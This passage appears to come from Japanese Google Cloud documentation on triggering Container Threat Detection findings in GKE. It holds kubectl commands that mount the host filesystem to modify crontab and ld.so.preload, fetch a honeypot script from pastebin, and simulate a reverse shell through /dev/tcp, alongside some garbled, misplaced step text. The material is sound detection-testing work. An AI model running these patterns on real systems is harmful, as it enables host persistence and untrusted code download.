tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'Container Threat Detection のロギングを構成している場合、このテスト手順により「不審な cron の変更」の検出結果がトリガーされます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: 不審な OpenSSL 共有オブジェクトの読み込み
Execution: Suspicious OpenSSL Shared Object Loaded の検出結果をトリガーするには、.so 拡張子で終わるファイルを引数として openssl engine コマンドを実行します。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls ユーティリティをコピーし、名前を /tmp/openssl に変更します。名前を変更したバイナリを、engine と偽の .so ファイル引数で実行します。.so ファイルを使用した openssl engine の実行は、悪意のあるコードを実行するために共有オブジェクトが読み込まれる動作を模倣しているため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTcurlなどのネットワーク対応バイナリを実行し、許可されていない HTTP プロキシ環境変数を使用して実行します。x86 ノード:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"ARM ノード:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Suspicious OpenSSL Shared Object Loaded の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
データの引き出し: コンテナでのリモート ファイル コピー ツールの起動
Exfiltration: Launch Remote File Copy Tools In Container の検出結果をトリガーするには、コンテナ内で一般的なリモート ファイル コピー ツールを実行します。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls ユーティリティをコピーして名前を /tmp/rsync に変更します。このファイルを実行すると、リモートの(悪意のある可能性のある)ソースからファイルが取得されます。コンテナ内でリモート ファイル取得引数を使用してこのようなツールを実行すると、悪意のあるコードのダウンロードと実行やデータの盗み出しを試みている可能性があるため、不審なアクティビティとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTrsyncなどのリモート ファイル コピー ツールを実行します。x86 ノード:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"ARM ノード:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"
Container Threat Detection のロギングを構成している場合、このテスト手順により Exfiltration: Launch Remote File Copy Tools
In Container の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
影響: 悪意のあるコマンドラインの検出
Impact: Detect Malicious Cmdlines(プレビュー)の検出結果をトリガーするには、既知の悪意のあるパターンまたは引数を含むコマンドラインの実行がコンテナ内で検出される必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls バイナリをコピーし、そのコピーの名前を ipfs に変更します。次に、名前を変更したバイナリを実行します。この動作は、悪意のあるコードの実行やセキュリティ制御の回避を試みている可能性があるため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTipfsなどのバイナリを実行します。x86 ノード:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"ARM ノード:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
Container Threat Detection のロギングを構成している場合、このテスト手順により Impact: Detect Malicious Cmdlines の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
影響: ディスクからの大量のデータの削除
Impact: Remove Bulk Data From Disk の検出結果をトリガーするには、データの削除または上書きが可能なバイナリをコンテナに配置して実行します。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls バイナリをコピーし、そのコピーの名前を shred に変更します(または、安全なファイル削除用に設計された同様のユーティリティを使用します)。次に、名前を変更したバイナリを実行します。このアクションは、コンテナ化された環境内のディスクから大量のデータを削除しようとする場合に頻繁に見られる動作を模倣しているため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTshredなどのファイルまたはデータ削除バイナリを導入して実行します。x86 ノード:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"ARM ノード:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"
Container Threat Detection のロギングを構成している場合、このテスト手順により Impact: Remove Bulk Data From Disk の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
影響: Stratum プロトコルを使用した不審な暗号通貨マイニング アクティビティ
Impact: Suspicious crypto mining activity using the Stratum
Protocol の検出結果をトリガーするには、Stratum プロトコルを使用して通信する暗号通貨マイニング ソフトウェアで使用される引数に類似した引数を使用して、コンテナ内でバイナリを実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーし、そのコピーの名前を疑似バイナリの名前に変更します(暗号通貨マイナーをシミュレートするため)。名前を変更したバイナリを、stratum+tcp などの Stratum プロトコル インジケーターを含む引数で実行します。このアクティビティは、コンテナ化された環境内の暗号通貨マイニング ソフトウェアのネットワーク通信パターンを模倣しているため、不審なアクティビティとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTcurlなどのユーティリティ バイナリを導入し、Stratum プロトコルを使用して通信する暗号通貨マイニング ソフトウェアで使用される引数に似た引数で実行します。x86 ノード:
tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"ARM ノード:
tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
Container Threat Detection のロギングを構成している場合、このテスト手順により Impact: Suspicious crypto mining activity
using the Stratum Protocol の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
このテストで実行する bash コマンドの追加の検出結果が表示されることもあります。これは正常な動作です。追加の検出結果は無視してかまいません。
悪意のあるスクリプトの実行
悪意のあるスクリプトの実行の検出をトリガーするには、コンテナ内で次の手順に沿ってスクリプトを実行します。
この手順では、最新の Ubuntu 24.04 イメージをデプロイし、悪意がある可能性のあるスクリプトをコピーして実行します。検出をトリガーするには、スクリプトが検出機能によって悪意のあるものと見なされる必要があります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT新しいコンテナで次のスクリプトを実行します。
このインライン Bourne シェル スクリプトは、ハニーポットから発信されました。ただし、悪意のあるバイナリを実行しないように変更されているため、スクリプトを実行してもコンテナ内で悪意のあるアクティビティは発生しません。参照された URL のバイナリが削除されている可能性があり、その URL をたどろうとすると 404 エラーが発生します。これは想定された動作です。インライン スクリプトを使用してバイナリのダウンロード、デコード、実行を試行すると、検出結果がトリガーされます。
x86 ノード:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"ARM ノード:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
このテスト手順では、Container Threat Detection のロギングが構成されている場合に Security Command Center と Cloud Logging で表示できる、悪意のあるスクリプトの実行の検出を作成します。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
悪意のある URL の観測
悪意のある URL の観測の検出結果をトリガーするには、バイナリを実行し、悪意のある URL を引数として指定します。
次の例では、Ubuntu 24.04 イメージをデプロイして /bin/curl を実行し、セーフ ブラウジング サービスからサンプルのマルウェア URL にアクセスします。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTcurlを実行し、引数として悪意のある URL を指定します。x86 ノード:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"ARM ノード:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
このテスト手順では Security Command Center と Cloud Logging(Container Threat Detection に Logging を構成している場合)で表示可能な悪意のある URL の観測の検出結果がトリガーされます。 Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
永続性: ld.so.preload の変更(プレビュー)
ld.so.preload の変更の検出をトリガーするには、ホストの /etc/ld.so.preload ファイルを変更します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、ホストのルート ファイル システムをコンテナにマウントしてから、/etc/ld.so.preload を更新します。
これはファイル モニタリングの検出機能であり、特定の GKE バージョンの要件があります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTホストの
/etc/ld.so.preloadファイルを変更するバイナリを実行します。x86 ノード:
tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM ノード:
tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
Container Threat Detection のロギングを構成している場合、このテスト手順により ld.so.preload の変更の検出結果がトリガーされます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
権限昇格: 権限昇格のための Sudo の不正使用(CVE-2019-14287)
Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) の検出結果をトリガーするには、-u#-1 パラメータを指定して sudo バイナリを実行します。この例では、/bin/ls バイナリをコピーして sudo バイナリを模倣し、指定されたパラメータで実行します。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTGoogle Public DNS への
/bin/echoリダイレクトでバイナリを開始します。x86 ノード:
tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"ARM ノード:
tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
Container Threat Detection のロギングを構成している場合、このテスト手順により Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
権限昇格: /dev/shm でのファイルレス実行
Privilege Escalation: Fileless Execution in /dev/shm の検出結果をトリガーするには、/dev/shm インメモリ ファイル システムからプロセスを実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/echo ユーティリティを /dev/shm/echo にコピーします。名前を変更したバイナリを実行します。/dev/shm の下のファイルの実行は、ファイルベースの検出を回避するためにメモリで実行しようとするオブジェクトの動作を模倣しているため、不審なものとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT特権コンテナを作成し、bash を開いてコマンドを実行します。
x86 ノード:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \ "$tag" -- bashARM ノード:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash
echoを/dev/shmにコピーし、chmodを使用して実行可能にします。cp /bin/echo /dev/shm chmod 777 /dev/shm/echo実行を有効にするために
/dev/shmを再マウントしますmount -o remount,exec /dev/shm/dev/shmからechoを実行します。/dev/shm/echo "Hello from /dev/shm"
Container Threat Detection のロギングを構成している場合、このテスト手順により Privilege Escalation: Fileless Execution in /dev/shm の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
権限昇格: Polkit のローカル権限昇格の脆弱性(CVE-2021-4034)
Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) の検出結果をトリガーするには、GCONV_PATH 環境変数を設定して pkexec バイナリを root 以外のユーザーとして実行します。この例では、/bin/ls バイナリをコピーして pkexec バイナリを模倣し、指定されたパラメータを使用してユーザー ID 1000 として実行します。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTGoogle Public DNS への
/bin/echoリダイレクトでバイナリを開始します。x86 ノード:
tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"ARM ノード:
tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }, "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
Container Threat Detection のロギングを構成している場合、このテスト手順により Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
権限昇格: Sudo による権限昇格の可能性(CVE-2021-3156)
Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) の検出結果をトリガーするには、-s パラメータと \`. This example copies the/bin/lsbinary to
imitate thesudo` バイナリで終わるパラメータを指定して、root 以外のユーザーとして sudo バイナリを実行し、指定したパラメータと一緒に実行します。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTGoogle Public DNS への
/bin/echoリダイレクトでバイナリを開始します。x86 ノード:
tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }}}' \ "$tag" -- bash -c \ 'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'ARM ノード:
tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }, "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ 'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
Container Threat Detection のロギングを構成している場合、このテスト手順により Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
リバースシェル
リバースシェルの検出結果をトリガーするには、TCP 接続のソケットへの stdin リダイレクトでバイナリを開始します。この例では、/bin/echo を /tmp/sh にコピーし、DNS ポート上の Google Public DNS 8.8.8.8 へのリダイレクトで /tmp/sh を開始します。この例を実行しても、何も出力されません。中間者(MITM)攻撃による外部コード インジェクションを防ぐため、この例では /bin/sh バイナリを使用しません。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTGoogle Public DNS への
/bin/echoリダイレクトでバイナリを開始します。x86 ノード:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"ARM ノード:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
このテスト手順で、リバースシェルの検出結果が作成され、Security Command Center でこの検出結果が確認できます。また、Container Threat Detection のロギングを構成していた場合は、Cloud Logging でもこの検出結果を確認できます。 Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
予期しない子シェル
Unexpected Child Shell 検出機能をテストするには、子シェルプロセスを含むプロセスツリーを作成します。
次の例では、Unexpected Child Shell 検出機能で検出できる consul->dash プロセスツリーを作成します。このテストは組み込みのバイナリのみを使用するため、安全です。この例では、次の操作を行います。
shプロセスのコピーを作成して、consulという名前を付けます。echoプロセスをコピーして、dashという名前を付けます。- コピーした
consulプロセスで、コピーしたdashプロセスを呼び出します。
Unexpected Child Shell の検出結果をトリガーするには、次の操作を行います。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT疑似
consulプロセスを使用して疑似シェルを呼び出します。x86 ノード:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu "$tag" \ --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'ARM ノード:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
このテスト手順では、Security Command Center で表示できる Unexpected Child Shell の検出結果を作成します。Container Threat Detection のロギングが構成されていて、組織レベルで Security Command Center Premium または Enterprise が有効になっている場合は、Cloud Logging で検出結果を表示することもできます。
次のステップ
- Container Threat Detection の使用方法を確認する。